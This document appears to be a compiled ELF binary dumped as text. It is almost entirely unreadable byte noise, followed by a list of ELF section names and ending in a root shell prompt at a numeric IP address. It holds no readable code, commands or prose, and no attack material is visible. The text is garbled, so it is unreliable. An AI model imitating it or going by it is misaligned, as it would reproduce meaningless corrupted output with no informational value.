S"_jAz);^v^.@ŵZLe4<J"E\4v(Lx-pOUdHj,CCu2laY7Tm'd2Mz?'sUMav3Nj8P
ơO#lQ?݀CjQx!pn)ĕs߳vq+D>R͟#
b(ԙ1
%j*wZu%D_} j/+hVʼnF,888qtӛ5=:
M*N:8HVN+89ङHN2c,8mGtZRN>T1$o7)oIr5cZk*KO)np
4XM"b ߘ/rד҆2è9N0>a;l9]'a4SOw2U~D:	)kXw) 5
{h7[@(K'fr .w:)Osm/z'[zv] ||-ѹ.\pfðzp5jOMoYq_4}`
0U8KfU2Bpl]FT~ 5FK#l7zFq~8:{S*OljOW8)]n'}v<g+%s64Pv>W2O
=Վ+80mA՞mqǽ5הrшXmvEu	vCeܡDc?4|Ivc'ny_X[qo]rOeh70%op~ɾE'3E=EoZKh1^.irrTB8&AtG'
LhQF(ҨES<,Ӝ}:Jx/ڑ~-"{, Kv	w-ōLA\sC'Fo߀]YL/g*4NvM9!XC^9}Fg0wtʃUW<Pz^UZEBݦVp;pHL1X+_ıJk*ہOדldo<f9Q(9v+A%'5˟nA"F́wSѻdj-_ΎN㩮@2ݷ'uV8[E"qY8X(f6Ðuvρ+'jZ,i袨wҊaucu*hTTRkrDY4sgMEmUR! hxLYB䧂 {PY^ą=):ݟ`Wd,u\UGgu5-a&V>d6>+&;F
bw2c12U
,NpFMJ/\hh+y*xedoU
IQ>pmwPDW|]"G[oD"}ܝsGRx\QNTKbmh\	L//%$|7k[
">>y q*pL6jd Ҧn'1)V:"$_ȮT/h=T
?t>zqf,J"D;H(||?ֈp
K&@ {g~X<eri
ߚuһ K3=~ЀSo~:4׍8_S$
M_1
tvړy	nZO7gd"ߤ6[Bm|ki".=(Yf+I@!6!k taނ̷AҷWlg4ӔwK VX8[hN1b$Cff]Pb0$#CDi?t\zM0(GeU{ J-u!0#ave@TzJE[rt#vg}4u=M<C:)w3}IBࢫV4
IdrN~'2:-_є+$D% 8	O,0=`GN~O~(-:k=@?*|螞tˡi4!gǏdr
:ڂ?!ͳ7W߲yk9!o6IFncPs*Pq/UH#tZYQ:hx~2;[醮\[{|#UN̮Y~
;_x'Gșkb¶MEt(qh
U8#4p<^6۲5p]&v5mh-p4.֨W@+N9J(nϤC^M#Zr}^B
5bLB
gЀɕ4@rz'jOZu0e4ې˂[qc
9#,xJrwI]Wnś"f4RKTAr3yJg'Lp_A;&.=P~EKP.X*CjU
j`>픓WK,?)8]YΤfI_LFl`iK2sZh|"툎zi._R0[x{Ͻ
G?@		t,d8UɲmRW)֫>ac]NJ`Bΐj5Ո.q"=>`
]xiSKK༛jzTF)˹^,-JX9Qp()Xl@3mpCFš)SO/	]q 6\pN$MյxBZ6|PcyS%Hx+Ewx$
g߬9C+Uyxr*Txl><vKHOJq58hˮ65MLk~ICeupj=	SPd^/rBB.Zڵ'(5e
Nj[4N]N'i4L':^adyDQ=[Kav>uey#zZ1)\>C0R%7~3faҘcQLn.${t[nf!lZdd~I˓fQ.ѯ9(ړvLlC>۠?P</䰪b`{
BY#YC_`/<!on~i@r$%yb5L>i|hK&أpz鳖T#_
#}ΦLF8LÐ AFX	n#s쐛=A
~gOFA:B#Yr-; c'>
+մɱ<?5O=ZԏTeòC]I^'+
sgCԱBp;ߟ?[|)+/45Ɇ?
^SΪ*Ƃ®jZUmT)#.1)Qz|2yٷxPbY3ZVCSg#o	^]OϤ8vA}|hVI&
-HKXZZIUc0`(#C8C&7+&;Sw6ڗ|8!qj?.4\_%,;JqmEJ@A3cR}ۆpB
.S'q\ꋺ)>FVF֨^%^<5E#lcN4}iT]gRFI858IĄUN*L&]	c6ld{@IE<x'\IޒjiѸ\ibὠ_:k^`//a]4e4MPbjkBu%~6ACpX0Pal{0ܯT[T98#
gs}nuY^S3[Ι=j'|ORsPӮxpE^ˣJ,64\B`ޥ̅f`CLg5\=\3yAˣU%ǃ$Q>Bj4QGcWS[%K<p$5Ye]?ϷY.\S,Z(Ob9H! KbY\br	J9!L"Ie.?#ndO$:(:?lTDuU\vgJR\o/K	 L➤pǾe@mzUy}	GWm.H86Kdtk	d͑Ǩ1gr}?7*ymi9@~Ecej:3ԭa15ZI}փA:_VpRHƎ!%VYA?[zαe8Ŗ}숖Iɢ]GMo;D2jy$Ƙbqο5j-^uRK(շQ"W8Pu޲63+gڈrBHFܒ7UI>$?Q{pqB<Ad+@ªCv)cΧRuvBswTltq#=h$jPEy8s@}WTڅ#LOEtx]rYs'ɥ؃=]R9qOЏ!,NZ"I_^\,HU҆]	yElSGގrg|b0|u@He&Xb*~Ho7GL^PTȐz=ss$E\TqEyqCkcc">ݹOv67wD&g1zj"$k
&!4'%~7ڣe;ks/i!^ѵ6
Au\G^NY'ɗlS`~&Tq'$k#Ftm#=b>(84
{*$yU99KH'<68T04@ch)mSt|lWs~%nb
d6P:OXKTbCjuȾ3\l͔U0$+g;؁ڂKB~qu.DYs+6tR˓pb;`fF/em,ݘw^HH7S͉Qt$"M&h#&0<[\.k;KCΎq^]SjslRaAǬQ
7U~A
fp1nWֽΗd2R*X@pϝ/r4Ú һ3SKA*5v		[5Jq?LF8wnd )(fO⁲?ha>=RL)6TFR0m'&ks6;zŨF|W%G-$HQTkal{0)3nłv_d1j##'9}s<Dvi&ۍsFJ&V
-uondyz^__I;⣶0Xn
p[j?-/}Hrji{t%7!^^>f}˶t6VYUݟ@a<w"56SLk";z!iַ=2ik#Ry9Q­ǼK{bGTIAsjX3|b)m@~ՑhVn}|eڊ̸ׯC+[9;vK^q}l<
cMሷD1+-lO=<znJ^򋙯AٵM7N
,HT0NCK|+,zhhJD9@Tț:}U3I=֟[4itv9gYZ.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.sec.text.fini.rodata.interp.eh_frame_hdr.eh_frame.gcc_except_table.note.gnu.property.note.FRR.tdata.tbss.init_array.fini_array.data.rel.ro.dynamic.got.dataxref_array.bss.gnu.build.attributes.gnu_debuglink.gnu_debugdata$o@@3(660XX28oEoT@@8W^BxxpnhVVcWWInIw``	}tt
 ppl^00xx (X7Xh7hh7h7x7C 4:47:7(`:`0  ;`9+@;@0 s|F0UPc84d

T1KUS90T
  root-grov@89.117.188.241:~$